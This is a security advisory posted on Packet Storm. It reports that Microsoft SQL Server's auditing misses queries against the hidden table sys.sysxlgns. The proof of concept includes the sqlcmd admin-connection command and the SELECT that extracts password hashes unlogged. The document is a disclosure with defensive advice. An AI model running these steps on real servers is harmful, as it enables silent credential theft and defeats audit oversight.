what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Microsoft SQL Server 2014 / 2016 / 2017 / 2019 / 2022 Audit Logging Failure

Microsoft SQL Server 2014 / 2016 / 2017 / 2019 / 2022 Audit Logging Failure
Posted Mar 16, 2023
Authored by Emad Al-Mousa

Microsoft SQL Server 2014, 2016, 2017, 2019, and 2022 appears to ignore audit rules for sys.sysxlgns allowing an attacker with administrative permissions to extract password hashes under the radar. Microsoft told the researcher they are not willing to fix it but acknowledge it as a security problem.

tags | exploit
SHA-256 | 220eab344c9585b4ceae5580fc752834a0002dfd5cc1a78c95445e4b2af32787

Microsoft SQL Server 2014 / 2016 / 2017 / 2019 / 2022 Audit Logging Failure

Change Mirror Download
Title: Microsoft SQL Server Password Hash Exposure
Product: Database
Manufacturer: Microsoft
Affected Version(s): 2012-2022
Risk Level: Medium
CVE Reference: N/A
Author of Advisory: Emad Al-Mousa

Overview:

SQL Server is a popular database system, and database systems are a vital backbone in IT infrastructure as different types of systems and applications will require back-end data-store (databsae system). Moreover, Password hashes for Local database accounts are restricted in terms of permission access and only system admins/ DBA's can access them. of course, attackers will attempt to access them to crack the hashes and access the database system for data exfiltration.


*****************************************
Vulnerability Details:

The following exploit assumes attacker escalated his permission as admin, and he/she will be able extract the password hashes even though an audit is in-place. So, its an audit by pass vulnerability.

currently, SQL Server password hashes are stored in two tables:

sys.sql_logins ----> visible table and auditing can be configured against it

sys.sysxlgns -----> invisible table and requires special access mode and audit rule is not functional !


*****************************************
Proof of Concept (PoC):

I will simulate a way to extract password hashes in a stealthy way (auditing will not capture it), in the following PoC the account is called dodo:

Accessing windows server as administrator, open CMD session using the following command:

sqlcmd -S localhost\MSSQL2019 -A -E

USE [master]

GO

select name,pwdhash from sys.sysxlgns where name='dodo';

GO

The password hashes for account “dodo” will be displayed.


Let us create an audit rule using this method to capture “select” statements executed against sys.sysxlgns :

I will create a server-level audit to push audit logs as “binary file”:

USE [master]
GO
CREATE SERVER AUDIT [Audit-2020-SYSTEM-TABLE]
TO FILE
( FILEPATH = N’D:\mssq_audit\’
,MAXSIZE = 0 MB
,MAX_ROLLOVER_FILES = 2147483647
,RESERVE_DISK_SPACE = OFF
)
WITH
( QUEUE_DELAY = 1000
,ON_FAILURE = CONTINUE
,AUDIT_GUID = ‘0333dfad-260b-45a4-8302-d7eb94c14cdc’
)
ALTER SERVER AUDIT [Audit-2020-SYSTEM-TABLE] WITH (STATE = ON)
GO

Then, I will define a database level audit under “MASTER” database to audit SELECT statement by any user/account against the system table sys.sysxlgns as follows:

sqlcmd -S localhost\MSSQL2019 -A -E

USE [master]

GO

CREATE DATABASE AUDIT SPECIFICATION [audit-systemtable]

FOR SERVER AUDIT [Audit-2020-SYSTEM-TABLE]

ADD (SELECT ON OBJECT::[sys].[sysxlgns] BY [public])

WITH (STATE = ON)

GO


The audit specification will be successfully created and can be visibly seen in SQL Server management studio.


Now you attempt to execute select statement again:

sqlcmd -S localhost\MSSQL2019 -A -E

USE [master]

GO

select name,pwdhash from sys.sysxlgns where name='dodo';

GO

- checking audit logs.....nothing is recorded !


Conclustion:

Super users and admin accounts must be monitored/audited for real-time monitoring for threat detection, and for future forensic analysis !


*****************************************
- Defensive Techniques:

configure Operating System Security auditing and Monitoring.
Network Segmentation and Firewall.
pro-actively patch your systems and database systems.


*****************************************
References:
https://databasesecurityninja.wordpress.com/2020/06/02/extract-sql-server-database-password-hashes-without-a-trace/
https://learn.microsoft.com/en-us/sql/relational-databases/system-tables/system-base-tables?view=sql-server-ver16











Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close